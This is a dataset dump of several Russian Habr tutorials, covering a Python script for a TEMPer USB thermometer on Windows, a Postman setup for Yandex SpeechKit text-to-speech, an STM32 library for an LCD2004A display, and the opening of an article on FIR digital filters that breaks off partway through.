text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Измеряем температуру: TEMPer + Python + Windows
Всем привет.
На написание поста сподвигла, казалось бы, тривиальная задача — мониторинг температуры в серверной. На эту тему существует довольно много различных решений (например, повесить видеокамеру и градусник перед ней), но большинство из крутых систем мониторинга, автоматического управления кондиционерами и т.п. стоят приличных денег. Отличие же предложенного варианта — бюджет. Около 250 российских рублей и немножко мозгов (бесценно).
Решение задачи началось, естественно, с поиска датчика температуры. Дешевого, потому что дорогих много, а руководству объяснять долго. Так же, в целях экономии, был выбран вариант USB-датчика (LAN — дороже). Где у нас самые дешевые датчики? Правильно, на ebay. Заходим туда и по запросу «usb thermometer» быстро находим вот такую игрушку, как на картинке. Заказываем, оформляем, ждем доставки.
На этом финансовые траты заканчиваются и начинается работа мозгами.
В комплекте с датчиком идет компакт-диск с программой *TEMPer 24.4.4*. Несмотря на внушительный номер версии, на это чудо программистской мысли смотреть без слез невозможно. Да, в ней есть куча функций: график температуры, отправка сообщений по email, msn и skype, лог в текстовый файл, установка критических температур для тревоги. И оно все даже работает. Нет только самого важного — запуска в режиме сервиса или командной строки. А значит — нет вменяемой возможности автоматизации (парсинг логов не в счет).
Итак, предложенная разработчиками программа не подходит по всем параметрам. Какая альтернатива? Собственный софт для получения температуры. В базовом варианте мне нужна была программа, выдающая температуру с датчика. Все дальнейшие обработки вроде занесения в базу, отправки писем по тревоге, анализ ситуации и т.п. легко вешаются на планировщик, опрашивающий датчик каждую минуту.
Поиск в интернете легко выводит на модуль для *python*, называемый *temper-python*. Отлично! Вот уже и нормальный софт с кроссплатформенным интерпретатором. Фиг там. Этот модуль работает только под linux. И не зря в заголовок вынесена другая операционка. Мой сервер приложений работает на Windows. Но это же python! Значит, скрипт наверняка можно переделать для работы в Windows. Этим и займемся.
Сначала вставим сам датчик в usb-порт компьютера (сервера). Для эксперимента этого достаточно, но на практике гораздо лучше дополнить датчик выносной подставочкой-удлинителем. Ее можно заказать вместе с датчиком из Китая, купить в любом магазине или найти в любой серверной — как трофей от различных передатчиков или флешек. Windows автоматически поставит на датчик стандартные драйверы и определит его как «Составное USB устройство». 
Мне было все равно, с каким питоном работать, поэтому я взял самую последнюю доступную версию — *3.4.1*. Собственно, если для кого-то это принципиально, переделать скрипт под младшую версию совсем не проблема — кое-где скобочки и кавычки убрать. Скачиваем, ставим, радуемся: [www.python.org](https://www.python.org/downloads/windows/).
Сразу же к питону нужно поставить библиотеку для работы с USB. Тоже никаких проблем нет. Называется она *pyusb*. Берем ее со страницы проекта на [sourceforge.net](http://sourceforge.net/projects/pyusb/). В архиве есть файл *setup.py*. Запускаем его из командной строки:
`cd C:\Downloads\pyusb-1.0.0a2`
`C:\Python34\python.exe setup.py install`
*Pyusb* работает с системным библиотеками доступа к usb — *libusb 0.1*, *libusb 1.0*, *libusbx*, *libusb-win32* и *OpenUSB*. Для пользователей Windows доступен вариант *libusb-win32*, который тоже нужно установить и настроить. Скачиваем архив со страницы проекта на [sourceforge.net](http://sourceforge.net/projects/libusb-win32/). И пусть вас не смущает *win32* в названии — драйвер отлично работает под *x64*.
Распаковываем, заходим в папку *bin* и запускаем файл *inf-wizard.exe*. Эта программа автоматически сгенерирует папку драйверов под конкретное устройство и установит их.
В списке устройств для установки драйвера необходимо выбрать *TEMPerV1.4 (Interface 1)*. Нажимаем *Next*, соглашаемся со всем, с чем можно согласиться и доходим до окна сохранения драйверов. Здесь лучше создать отдельную папку для *temper'a*, куда утилитка сложит все необходимые драйверы. После этого будет предложено установить созданный драйвер. Делаем это кнопкой *Install Now...*
Если все прошло успешно, то "*Составное USB устройство*" в Диспетчере устройств исчезнет, а появится *TEMPerV1.4 (Interface 1)*.
В папке *bin/amd64* дистрибутива *libusb-win32* есть утилита *testlibusb-win.exe*. Запустим ее, чтобы убедиться, что нужное нам устройство видно системе. Если все хорошо и устройство видно, остается самое интересное — скрипт на python.
Как уже написано выше, за основу я взял модуль *temper-python*. Модуль этот навороченный, который нужно устанавливать, в котором есть конфиг для поправок, выбор Цельсия или Фаренгейта, и даже поддержка SNMP. Это все круто, но мне не нужно. Поэтому упростим все до одного скрипта, выводящего в консоль температуру. Кроме того, в *temper-python* есть еще и куча строк, которые нужны только в linux, a в windows попросту не работают.
Начнем с задания глобальных переменных:
```
import sys, usb
VENDOR_ID = 0x0c45
PRODUCT_ID = 0x7401
TIMEOUT = 5000
OFFSET = 0
INTERFACE = 1
REQ_INT_LEN = 8
ENDPOINT = 0x82
COMMANDS = {
'temp': b'\x01\x80\x33\x01\x00\x00\x00\x00',
'ini1': b'\x01\x82\x77\x01\x00\x00\x00\x00',
'ini2': b'\x01\x86\xff\x01\x00\x00\x00\x00',
}
```
По *VENDOR\_ID* и *PRODUCT\_ID* скрипт найдет среди всех устройств Temper и будет использовать его. *TIMEOUT* и *OFFSET* в общем-то, понятны без объяснения — таймаут доступа к датчику и поправка температуры. Поправка нужна, так как дешевый китайский датчик может ошибаться в пределах нескольких градусов, но это достаточно определить один раз по комнатному термометру и забыть.
Оставшиеся переменные относятся к api датчика и их трогать не надо.
Теперь самое главное — класс для обращения к датчику.
```
class TemperDevice(object):
def __init__(self, device):
self._device = device
def get_temperature(self):
if self._device is None:
return "Device not ready"
else:
try:
self._device.set_configuration()
ret = self._device.ctrl_transfer(bmRequestType=0x21, bRequest=0x09, wValue=0x0201, wIndex=0x00, data_or_wLength=b'\x01\x01', timeout=TIMEOUT)
self._control_transfer(COMMANDS['temp'])
self._interrupt_read()
self._control_transfer(COMMANDS['ini1'])
self._interrupt_read()
self._control_transfer(COMMANDS['ini2'])
self._interrupt_read()
self._interrupt_read()
self._control_transfer(COMMANDS['temp'])
data = self._interrupt_read()
self._device.reset()
temp = (data[3] & 0xFF) + (data[2] << 8)
temp_c = temp * (125.0 / 32000.0)
temp_c = temp_c + OFFSET
return temp_c
except usb.USBError as err:
if "not permitted" in str(err):
return "Permission problem accessing USB."
else:
return err
except:
return "Unexpected error:", sys.exc_info()[0]
raise
def _control_transfer(self, data):
ret = self._device.ctrl_transfer(bmRequestType=0x21, bRequest=0x09, wValue=0x0200, wIndex=0x01, data_or_wLength=data, timeout=TIMEOUT)
def _interrupt_read(self):
data = self._device.read(ENDPOINT, REQ_INT_LEN, interface=INTERFACE, timeout=TIMEOUT)
return data
```
*\_control\_transfer* отвечает за передачу команд датчику, *\_interrupt\_read* — за чтение ответа. В *get\_temperature* мы, собственно, все эти команды отправляем, читаем ответ и преобразуем набор цифр в человекопонятную температуру.
Чтобы все это заработало при запуске, несколько строк для инициализации:
```
dev = usb.core.find(idVendor=VENDOR_ID, idProduct=PRODUCT_ID)
TDev = TemperDevice(dev)
output = TDev.get_temperature()
print(output)
```
Первая строчка ищет наш *TEMPer* среди устройств, вторая и третья — запрашивают температуру.
Вот, собственно, и все. Проверить работу скрипта можно стандартной командой в консоли:
`C:\Python34\python.exe temper.py`
На экран будет выведена температура с датчика. Что с ней делать — пусть каждый сам для себя решает. | https://habr.com/ru/post/230355/ | null | ru | null |
# Настольный клиент для Yandex Speechkit text2speech на коленке
Вчера понадобилось мне записать голос для голосового (IVR) меню.. Решил воспользоваться голосами от яндекс.облака, тем более что они теперь все высококачественные, и от человеческого неотличимы. Но как бы это сделать поудобнее, чтобы не надо было потом файлы редактировать и конвертировать? Казалось бы, можно воспользоваться [демкой на странице](https://cloud.yandex.ru/services/speechkit) описания, но во первых там есть ограничение длины текста, во вторых она дает сохранить только запись в формате ogg, и в третьих иногда добавляет в запись рекламу. Оно и понятно в общем то, эта демка предназначена для показа технологии а не для коммерческого использования.
Резюме - надо получать записи как положено, через api, тем более что оно простое и понятное, только небольшая сложность с авторизацией. Но то что оно несложное не значит что им можно легко и просто с нуля воспользоваться, нужен хоть какой то интерфейс.
Беглый гуглёж ничего не принес, только несколько малопонятных проектов на гитхабе.
Уже думал быстренько наваять какой нибудь свой веб-интерфейс но тут вспомнил что есть [Postman](https://www.postman.com/). Для тех кто не в теме - это замечательная программа для тестирования любых api интерфейсов.
Для дальнейших действий предполагается что вы уже зарегистрированы в яндекс.облаке, ваш аккаунт активен и оплачен (деньгами или грантом).
Итак, вооружимся [документацией](https://cloud.yandex.ru/docs/speechkit/tts/request). Запрос к text2speech по сути это простой post запрос. Параметры передаются в теле запроса. Единственная сложность - это авторизация. Подписывать запросы надо [IAM токенами](https://cloud.yandex.ru/docs/iam/concepts/authorization/iam-token), но у них срок жизни - до 12 часов, в некоторых случаях меньше. Яндекс рекомендует обновлять токены раз в час или вообще получать при каждом запросе. Получить токен можно в командной строке, но если это не автоматизировать, это придется делать руками и часто.
К счастью, у postman есть функционал pre-request script. Это когда программа, перед тем как отправить запрос к api, выполняет какие то действия. Скрипты пишутся там на js, ничего сложного. Результаты потом отправляются в запрос в переменных.
Получим сначала пару нужных значений: id каталога и oauth-токен.
Первое берется просто из [адресной строки](https://cloud.yandex.ru/docs/resource-manager/operations/folder/get-id) браузера
Oauth-токен берется по инструкции [на этой странице](https://cloud.yandex.ru/docs/iam/operations/iam-token/create) (вкладка api). Я намеренно не привожу тут ссылку для его получения, чтобы вы использовали только ссылку из официальной документации. Помните, что oauth-токен - это ключ к вашему облаку, распоряжайтесь им бережливо. Кроме того, можно использовать токен для сервисного аккаунта, ему можно дать только нужные права.
Итак, открываем Postman, и заполняем запрос:
Адрес post запроса <https://tts.api.cloud.yandex.net/speech/v1/tts:synthesize>, тип авторизации Bearer Token, вместо самого токена пишем конструкцию *{{token}}*.
Заполняем тело запроса:
Тип кодирования x-www-form-urlencoded.
Ключи:
*text - {{text}}
lang - ru-RU
speed - 1
voice - oksana (список голосов доступен в документации)
emotion - good (список эмоций доступен в документации)
folderId - id каталога, который вы получили выше
format - mp3 (список форматов доступен в документации)*
Ну и на вкладку pre-request script вставляем простой скрипт. Не забудьте вставить ваш oauth-токен.
```
const postRequest = {
url: 'https://iam.api.cloud.yandex.net/iam/v1/tokens?yandexPassportOauthToken=<ваш oauth-токен>',
method: 'POST',
};
pm.sendRequest(postRequest, (error, response) => {
console.log(error ? error : response.json());
var tok = response.json();
console.log(tok['iamToken']);
pm.collectionVariables.set("token", tok['iamToken']);
});
var text = "\
Это пример текста который надо озвучить. Для переноса строки пользуйтесь обратным слешем.\
";
pm.collectionVariables.set("text", text);
```
Ну вот собственно и все. Теперь если нажать на кнопку "Send" в нижнюю часть окна загрузится mp3 файл, который можно там же прослушать и сохранить.
 | https://habr.com/ru/post/661569/ | null | ru | null |
# STM32 и LCD2004A без I2C интерфейса
Недавно начал изучать STM32 контроллеры и понадобилось взаимодействие с LCD дисплеем. Из дисплеев нашел у себя только 2004A, причем без I2C интерфейса. О нем и пойдет речь в этой статье.
Для начала необходимо подключить дисплей к контроллеру. Подключаем по схеме:
PB0 — PB7 — выводы контроллера.
**Назначение выводов дисплея :**
| | | |
| --- | --- | --- |
| Номер вывода | Сигнал | Назначение сигнала |
| 1 | GND | Земля (общий провод) |
| 2 | VCC | Питание + 5 В |
| 3 | VEE | Управление контрастностью дисплея. Подключается средний вывод делителя напряжения. Обычно это подстроечный резистор 10-20 кОм, но я распаял на плате дисплея резисторы. |
| 4 | RS | Выбор регистра: 0 – регистр команд; 1 – регистр данных. |
| 5 | R/W | Направление передачи данных:
0 – запись;
1 – чтение.
Как правило чтение из дисплея не используется, поэтому сажаем вывод на землю. |
| 6 | EN | Строб операции шины. При спадающем фронте данные, находящиеся на шине данных «защелкиваются» в регистр. |
| 7 | DB0 | Младшие биты восьми битного режима. При четырех битном интерфейсе не используются и обычно сажаются на землю. |
| 8 | DB1 | |
| 9 | DB2 | |
| 10 | DB3 | |
| 11 | DB4 | Старшие биты восьми битного режима или биты данных четырех битного интерфейса. |
| 12 | DB5 | |
| 13 | DB6 | |
| 14 | DB7 | |
| 15 | A | Анод питания подсветки (+) |
| 16 | K | Катод питания подсветки (-). Ток должен быть ограничен. |
Итак, дисплей подключили. Самое время научить микроконтроллер работать с ним. Я решил создать свою библиотеку для того, чтобы можно было ее использовать в разных проектах. Она состоит из двух файлов — lcd\_20x4.h и lcd\_20x4.c
Начнем с заголовочного файла.
```
#ifndef LCD_LCD_20X4_2004A_LCD_20X4_H_
#define LCD_LCD_20X4_2004A_LCD_20X4_H_
#include "stm32f1xx.h"
#include "delay.h"
```
В начале подключаем файл библиотеки CMSIS stm32f1xx.h так как у меня камень STM32F103C8T6. Следующим включением подключаем файл delay.h — это моя библиотека для работы с задержками на основе системного таймера. Здесь ее описывать не буду, вот ее код:
**Файл delay.h**
```
#ifndef DELAY_DELAY_H_
#define DELAY_DELAY_H_
#include "stm32f1xx.h"
#define F_CPU 72000000UL
#define US F_CPU/1000000
#define MS F_CPU/1000
#define SYSTICK_MAX_VALUE 16777215
#define US_MAX_VALUE SYSTICK_MAX_VALUE/(US)
#define MS_MAX_VALUE SYSTICK_MAX_VALUE/(MS)
void delay_us(uint32_t us); // до 233 мкс
void delay_ms(uint32_t ms); // до 233 мс
void delay_s(uint32_t s);
#endif /* DELAY_DELAY_H_ */
```
**Файл delay.с**
```
#include "delay.h"
/* Функции задержек на микросекунды и миллисекунды*/
void delay_us(uint32_t us){ // до 233 016 мкс
if (us > US_MAX_VALUE || us == 0)
return;
SysTick->CTRL &= ~SysTick_CTRL_TICKINT_Msk; // запретить прерывания по достижении 0
SysTick->CTRL |= SysTick_CTRL_CLKSOURCE_Msk; // ставим тактирование от процессора
SysTick->LOAD = (US * us-1); // устанавливаем в регистр число от которого считать
SysTick->VAL = 0; // обнуляем текущее значение регистра SYST_CVR
SysTick->CTRL |= SysTick_CTRL_ENABLE_Msk; // запускаем счетчик
while(!(SysTick->CTRL & SysTick_CTRL_COUNTFLAG_Msk)); // ждем установку флага COUNFLAG в регистре SYST_CSR
SysTick->CTRL &= ~SysTick_CTRL_COUNTFLAG_Msk; // скидываем бит COUNTFLAG
SysTick->CTRL &= ~SysTick_CTRL_ENABLE_Msk; // выключаем счетчик
}
void delay_ms(uint32_t ms){ // до 233 мс
if(ms > MS_MAX_VALUE || ms ==0)
return;
SysTick->CTRL &= ~SysTick_CTRL_TICKINT_Msk;
SysTick->CTRL |= SysTick_CTRL_CLKSOURCE_Msk;
SysTick->LOAD = (MS * ms);
SysTick->VAL = 0;
SysTick->CTRL |= SysTick_CTRL_ENABLE_Msk;
while(!(SysTick->CTRL & SysTick_CTRL_COUNTFLAG_Msk));
SysTick->CTRL &= ~SysTick_CTRL_COUNTFLAG_Msk;
SysTick->CTRL &= ~SysTick_CTRL_ENABLE_Msk;
}
void delay_s(uint32_t s){
for(int i=0; i
```
Дисплей 2004A основан на контроллере фирмы HITACHI HD44780. Поэтому заглянем в даташит на данный контроллер. В таблице 6 есть система команд, а так же тайминги выполнения этих команд.
Перепишем нужные команды в макроопределения в заголовочном файле:
```
// display commands
#define CLEAR_DISPLAY 0x1
#define RETURN_HOME 0x2
#define ENTRY_MODE_SET 0x6 // mode cursor shift rihgt, display non shift
#define DISPLAY_ON 0xC // non cursor
#define DISPLAY_OFF 0x8
#define CURSOR_SHIFT_LEFT 0x10
#define CURSOR_SHIFT_RIGHT 0x14
#define DISPLAY_SHIFT_LEFT 0x18
#define DISPLAY_SHIFT_RIGHT 0x1C
#define DATA_BUS_4BIT_PAGE0 0x28
#define DATA_BUS_4BIT_PAGE1 0x2A
#define DATA_BUS_8BIT_PAGE0 0x38
#define SET_CGRAM_ADDRESS 0x40 // usage address |= SET_CGRAM_ADDRESS
#define SET_DDRAM_ADDRESS 0x80
```
Теперь необходимо настроить выводы контроллера для работы с дисплеем. Определяем положение битов в порте ODR контроллера. Следует обратить внимание на PIN\_D4. У меня там прописан 10-й бит вместо 4. На моем контроллере не работает 4-й вывод. Не знаю с чем это связано, но в регистре ODR этот бит всегда единица, даже до начала инициализации тактирования контроллера. Не знаю с чем это связано, возможно камень не оригинальный.
```
// положение битов в порте ODR
#define PIN_RS 0x1
#define PIN_EN 0x2
#define PIN_D7 0x80
#define PIN_D6 0x40
#define PIN_D5 0x20
#define PIN_D4 0x400
```
Далее настраиваем управляющие регистры для выводов. Я решил это сделать в виде макросов препроцессора:
```
#define LCD_PORT GPIOB
#define LCD_ODR LCD_PORT->ODR
#define LCD_PIN_RS() LCD_PORT->CRL &= ~GPIO_CRL_CNF0; \
LCD_PORT->CRL |= GPIO_CRL_MODE0; // PB0 выход тяни-толкай, частота 50 Мгц
#define LCD_PIN_EN() LCD_PORT->CRL &= ~GPIO_CRL_CNF1;\
LCD_PORT->CRL |= GPIO_CRL_MODE1; // PB1
#define LCD_PIN_D7() LCD_PORT->CRL &= ~GPIO_CRL_CNF7;\
LCD_PORT->CRL |= GPIO_CRL_MODE7; // PB7
#define LCD_PIN_D6() LCD_PORT->CRL &= ~GPIO_CRL_CNF6;\
LCD_PORT->CRL |= GPIO_CRL_MODE6; // PB6
#define LCD_PIN_D5() LCD_PORT->CRL &= ~GPIO_CRL_CNF5;\
LCD_PORT->CRL |= GPIO_CRL_MODE5; // PB5
#define LCD_PIN_D4() LCD_PORT->CRH &= ~GPIO_CRH_CNF10;\
LCD_PORT->CRH |= GPIO_CRH_MODE10; // PB10
#define LCD_PIN_MASK (PIN_RS | PIN_EN | PIN_D7 | PIN_D6 | PIN_D5 | PIN_D4) // 0b0000000011110011 маска пинов для экрана
```
В завершении заголовочного файла определяем функции работы с дисплеем:
```
void lcd_2004a_init (void); // инициализация ножек порта под экран
void sendByte(char byte, int isData);
void sendStr(char *str, int row ); // вывод строки
#endif /* LCD_LCD_20X4_2004A_LCD_20X4_H_ */
```
С заголовочным файлом закончили. Теперь напишем реализации функций в файле lcd\_20x4.c
Первым делом нужно настроить выводы для работы с дисплеем. Это делает функция void lcd\_2004a\_init (void):
```
void lcdInit(void); // инициализация дисплея
void lcd_2004a_init(void){
//----------------------включаем тактирование порта----------------------------------------------------
if(LCD_PORT == GPIOB) RCC->APB2ENR |= RCC_APB2ENR_IOPBEN;
else if (LCD_PORT == GPIOA) RCC->APB2ENR |= RCC_APB2ENR_IOPAEN;
else return;
//--------------------- инициализация пинов для LCD-----------------------------------------------------
LCD_PIN_RS();// макроопределения в заголовочном файле
LCD_PIN_EN();
LCD_PIN_D7();
LCD_PIN_D6();
LCD_PIN_D5();
LCD_PIN_D4();
lcdInit(); // функция инициализации дисплея
return ;
}
```
Что касается функции lcdInit() — это функция инициализации дисплея. Напишем и ее. Она основана на блок-схеме инициализации дисплея из даташита:
```
//--------------------- инициализация дисплея-----------------------------------------------------------
void lcdInit(void){
delay_ms(15); // ждем пока стабилизируется питание
sendByte(0x33, 0); // шлем в одном байте два 0011
delay_us(100);
sendByte(0x32, 0); // шлем в одном байте 00110010
delay_us(40);
sendByte(DATA_BUS_4BIT_PAGE0, 0); // включаем режим 4 бит
delay_us(40);
sendByte(DISPLAY_OFF, 0); // выключаем дисплей
delay_us(40);
sendByte(CLEAR_DISPLAY, 0); // очищаем дисплей
delay_ms(2);
sendByte(ENTRY_MODE_SET, 0); //ставим режим смещение курсора экран не смещается
delay_us(40);
sendByte(DISPLAY_ON, 0);// включаем дисплей и убираем курсор
delay_us(40);
return ;
}
```
Функция инициализации использует функцию void sendByte(char byte, int isData). Напишем ее реализацию. Она основана на временной диаграмме из даташита:
```
void sendByte(char byte, int isData){
//обнуляем все пины дисплея
LCD_ODR &= ~LCD_PIN_MASK;
if(isData == 1) LCD_ODR |= PIN_RS; // если данные поднимаем RS
else LCD_ODR &= ~(PIN_RS); // иначе скидываем RS
LCD_ODR |= PIN_EN; // поднимаем пин E
// ставим старшую тетраду на порт
if(byte & 0x80) LCD_ODR |= PIN_D7;
if(byte & 0x40) LCD_ODR |= PIN_D6;
if(byte & 0x20) LCD_ODR |= PIN_D5;
if(byte & 0x10) LCD_ODR |= PIN_D4;
LCD_ODR &= ~PIN_EN; // сбрасываем пин Е
LCD_ODR &= ~(LCD_PIN_MASK & ~PIN_RS);//обнуляем все пины дисплея кроме RS
LCD_ODR |= PIN_EN;// поднимаем пин E
// ставим младшую тетраду на порт
if(byte & 0x8) LCD_ODR |= PIN_D7;
if(byte & 0x4) LCD_ODR |= PIN_D6;
if(byte & 0x2) LCD_ODR |= PIN_D5;
if(byte & 0x1) LCD_ODR |= PIN_D4;
LCD_ODR &= ~(PIN_EN);// сбрасываем пин Е
delay_us(40);
return;
}
```
Теперь мы умеем отсылать байт на дисплей по 4-битной шине. Этим байтом может быть как команда так и символ. Определяется передачей в функцию переменной isData. Пришло время научиться передавать строки.
Дисплей 2004A состоит из 4 строк по 20 символов, что отражается в названии. Дабы не усложнять функцию я не буду реализовывать обрезку строк до 20 символов. В функцию будем отправлять строку символов и строку в которой ее вывести.
Для отображения символа на экране нужно записать его в память DDRAM. Адресация DDRAM соответствует таблице:
```
void sendStr(char *str, int row ){
char start_address;
switch (row) {
case 1:
start_address = 0x0; // 1 строка
break;
case 2:
start_address = 0x40; // 2 строка
break;
case 3:
start_address = 0x14; // 3 строка
break;
case 4:
start_address = 0x54; // 4 строка
break;
}
sendByte((start_address |= SET_DDRAM_ADDRESS), 0); // ставим курсор на начало нужной строки в DDRAM
delay_ms(4);
while(*str != '\0'){// пока не встретили конец строки
sendByte(*str, 1);
str++;
}// while
}
```
Вот и все, библиотека для дисплея готова. Теперь настало время ее использовать. В функции main() пишем:
```
portInit();// инициализация портов под дисплей
sendStr(" HELLO, HABR", 1);
sendStr(" powered by", 2);
sendStr(" STM32F103C8T6", 3);
sendStr("Nibiru", 4);
```
И получаем результат:
P.S. В комментариях мне подсказали, чем заполнять пробелами строки для позиционирования лучше сразу указывать в какой позиции в строке выводить. В связи с этим я переписал функцию sendStr. Теперь она имеет вид:
**void sendStr( char \*str, int row , int position )**
void sendStr( char \*str, int row, int position ){
char start\_address;
switch (row) {
case 1:
start\_address = 0x0; // 1 строка
break;
case 2:
start\_address = 0x40; // 2 строка
break;
case 3:
start\_address = 0x14; // 3 строка
break;
case 4:
start\_address = 0x54; // 4 строка
break;
}
start\_address += position; // к началу строки прибавляем позицию в строке
sendByte((start\_address |= SET\_DDRAM\_ADDRESS), 0); // ставим курсор на начало нужной строки в DDRAM
delay\_ms(4);
while(\*str != '\0'){
sendByte(\*str, 1);
str++;
}// while
}
и принимает третий параметр int position — позиция вывода в строке. В листингах файлов эта функция исправлена. Так же перенес объявление функции void lcdInit(void) из интерфейсной части(.h) в файл реализации (.c), т.к. эта функция используется только внутри библиотеки и извне не должна быть видна.
В заключение приведу полный листинг файлов:
**lcd\_20x4.h**
```
#ifndef LCD_LCD_20X4_2004A_LCD_20X4_H_
#define LCD_LCD_20X4_2004A_LCD_20X4_H_
#include "stm32f1xx.h"
#include "delay.h"
// display commands
#define CLEAR_DISPLAY 0x1
#define RETURN_HOME 0x2
#define ENTRY_MODE_SET 0x6 // mode cursor shift rihgt, display non shift
#define DISPLAY_ON 0xC // non cursor
#define DISPLAY_OFF 0x8
#define CURSOR_SHIFT_LEFT 0x10
#define CURSOR_SHIFT_RIGHT 0x14
#define DISPLAY_SHIFT_LEFT 0x18
#define DISPLAY_SHIFT_RIGHT 0x1C
#define DATA_BUS_4BIT_PAGE0 0x28
#define DATA_BUS_4BIT_PAGE1 0x2A
#define DATA_BUS_8BIT_PAGE0 0x38
#define SET_CGRAM_ADDRESS 0x40 // usage address |= SET_CGRAM_ADDRESS
#define SET_DDRAM_ADDRESS 0x80
// положение битов в порте ODR
#define PIN_RS 0x1
#define PIN_EN 0x2
#define PIN_D7 0x80
#define PIN_D6 0x40
#define PIN_D5 0x20
#define PIN_D4 0x400
#define LCD_PORT GPIOB
#define LCD_ODR LCD_PORT->ODR
#define LCD_PIN_RS() LCD_PORT->CRL &= ~GPIO_CRL_CNF0; \
LCD_PORT->CRL |= GPIO_CRL_MODE0; // PB0 выход тяни-толкай, частота 50 Мгц
#define LCD_PIN_EN() LCD_PORT->CRL &= ~GPIO_CRL_CNF1;\
LCD_PORT->CRL |= GPIO_CRL_MODE1; // PB1
#define LCD_PIN_D7() LCD_PORT->CRL &= ~GPIO_CRL_CNF7;\
LCD_PORT->CRL |= GPIO_CRL_MODE7; // PB7
#define LCD_PIN_D6() LCD_PORT->CRL &= ~GPIO_CRL_CNF6;\
LCD_PORT->CRL |= GPIO_CRL_MODE6; // PB6
#define LCD_PIN_D5() LCD_PORT->CRL &= ~GPIO_CRL_CNF5;\
LCD_PORT->CRL |= GPIO_CRL_MODE5; // PB5
#define LCD_PIN_D4() LCD_PORT->CRH &= ~GPIO_CRH_CNF10;\
LCD_PORT->CRH |= GPIO_CRH_MODE10; // PB10
#define LCD_PIN_MASK (PIN_RS | PIN_EN | PIN_D7 | PIN_D6 | PIN_D5 | PIN_D4) // 0b0000000011110011 маска пинов для экрана
void lcd_2004a_init(void); // инициализация ножек порта под экран
void sendByte(char byte, int isData);
void sendStr( char *str, int row , int position ); // вывод строки
#endif /* LCD_LCD_20X4_2004A_LCD_20X4_H_ */
```
**lcd\_20x4.c**
```
#include "lcd_20x4.h"
void lcdInit(void); // инициализация дисплея
// посылка байта в порт LCD
void sendByte(char byte, int isData){
//обнуляем все пины дисплея
LCD_ODR &= ~LCD_PIN_MASK;
if(isData == 1) LCD_ODR |= PIN_RS; // если данные ставмим RS
else LCD_ODR &= ~(PIN_RS); // иначе скидываем RS
// ставим старшую тетраду на порт
if(byte & 0x80) LCD_ODR |= PIN_D7;
if(byte & 0x40) LCD_ODR |= PIN_D6;
if(byte & 0x20) LCD_ODR |= PIN_D5;
if(byte & 0x10) LCD_ODR |= PIN_D4;
// поднимаем пин E
LCD_ODR |= PIN_EN;
LCD_ODR &= ~PIN_EN; // сбрасываем пин Е
//обнуляем все пины дисплея кроме RS
LCD_ODR &= ~(LCD_PIN_MASK & ~PIN_RS);
// ставим младшую тетраду на порт
if(byte & 0x8) LCD_ODR |= PIN_D7;
if(byte & 0x4) LCD_ODR |= PIN_D6;
if(byte & 0x2) LCD_ODR |= PIN_D5;
if(byte & 0x1) LCD_ODR |= PIN_D4;
// поднимаем пин E
LCD_ODR |= PIN_EN;
//delay_us(10);
// сбрасываем пин Е
LCD_ODR &= ~(PIN_EN);
delay_us(40);
return;
}
// функция тактирует порт под дисплей и задает пины на выход тяни толкай и частоту 50 Мгц
void lcd_2004a_init (void){
//----------------------включаем тактирование порта----------------------------------------------------
if(LCD_PORT == GPIOB) RCC->APB2ENR |= RCC_APB2ENR_IOPBEN;
else if (LCD_PORT == GPIOA) RCC->APB2ENR |= RCC_APB2ENR_IOPAEN;
else return;
//--------------------- инициализация пинов для LCD-----------------------------------------------------
LCD_PIN_RS();
LCD_PIN_EN();
LCD_PIN_D7();
LCD_PIN_D6();
LCD_PIN_D5();
LCD_PIN_D4();
lcdInit();
return ;
}
//--------------------- инициализация дисплея-----------------------------------------------------------
void lcdInit(void){
delay_ms(15); // ждем пока стабилизируется питание
sendByte(0x33, 0); // шлем в одном байте два 0011
delay_us(100);
sendByte(0x32, 0); // шлем в одном байте 00110010
delay_us(40);
sendByte(DATA_BUS_4BIT_PAGE0, 0); // включаем режим 4 бит
delay_us(40);
sendByte(DISPLAY_OFF, 0); // выключаем дисплей
delay_us(40);
sendByte(CLEAR_DISPLAY, 0); // очищаем дисплей
delay_ms(2);
sendByte(ENTRY_MODE_SET, 0); //ставим режим смещение курсора экран не смещается
delay_us(40);
sendByte(DISPLAY_ON, 0);// включаем дисплей и убираем курсор
delay_us(40);
return ;
}
void sendStr( char *str, int row , int position ){
char start_address;
switch (row) {
case 1:
start_address = 0x0; // 1 строка
break;
case 2:
start_address = 0x40; // 2 строка
break;
case 3:
start_address = 0x14; // 3 строка
break;
case 4:
start_address = 0x54; // 4 строка
break;
}
start_address += position; // к началу строки прибавляем позицию в строке
sendByte((start_address |= SET_DDRAM_ADDRESS), 0); // ставим курсор на начало нужной строки в DDRAM
delay_ms(4);
while(*str != '\0'){
sendByte(*str, 1);
str++;
}// while
}
``` | https://habr.com/ru/post/522938/ | null | ru | null |
# Построение цифрового фильтра с конечной импульсной характеристикой
##### Вступление издалека
Недавно передо мной встала достаточно интересная задача, с которой я раньше никогда не сталкивался — борьба с шумом. Мы принимали сигнал с датчиков на аналогово-цифровой преобразователь (АЦП)
А так как данная тема для меня была (хотя и сейчас есть кое-где) темным лесом, я пошел мучить вопросами гугл, мне показалось освещена эта тема не очень подробно и доступно, поэтому решил написать статью с примером разработки и готовым исходником.
##### Ближе к делу
Цифровые фильтры могут быть двух видов – с конечной и с бесконечной импульсной характеристикой (КИХ и БИХ). Для решения моей задачи подходит КИХ-фильтр, поэтому про него и расскажу.
Для начала посмотрим как же он работает:
Здесь показан пример фильтра нижних частот, как видно на рисунке, этот фильтр пропускает нижние частоты, а все остальные старается отсечь (подавление), или хотя бы ослабить (переход). Отклонения в полосе пропускания и полосе подавления выбираются в зависимости от принимаемого сигнала, но при использовании различных весовых функций, на них могут накладываться определенные ограничения. Например, если используется весовая функция Хэмминга, то эти отклонения будут равны между собой.
Ширина полосы перехода ∆F зависит от длины фильтра и от весовой функции (для функции Блэкмена ∆F=5,5|N).
Работает фильтр довольно просто: фильтр получает значения, с помощью коэффициентов преобразует их и выдаёт выходную последовательность, тогда с формулой самого фильтра всё понятно:
Она реализуется через цикл, но постойте, а где же взять нужные коэффициенты? Вот тут-то как раз и зарыта собака (и не одна).
##### Параметры фильтра
Естественно для разных фильтров нужны разные коэффициенты, и для этого нужно определиться с параметрами фильтра, это обычно сначала делается теоретически (с умным видом прикидываем какая у нашего сигнала частота, потом частоты, которые надо отсеивать), а потом изучаем АЧХ реальных измерений (и осознаем, как сильно мы ошибались).
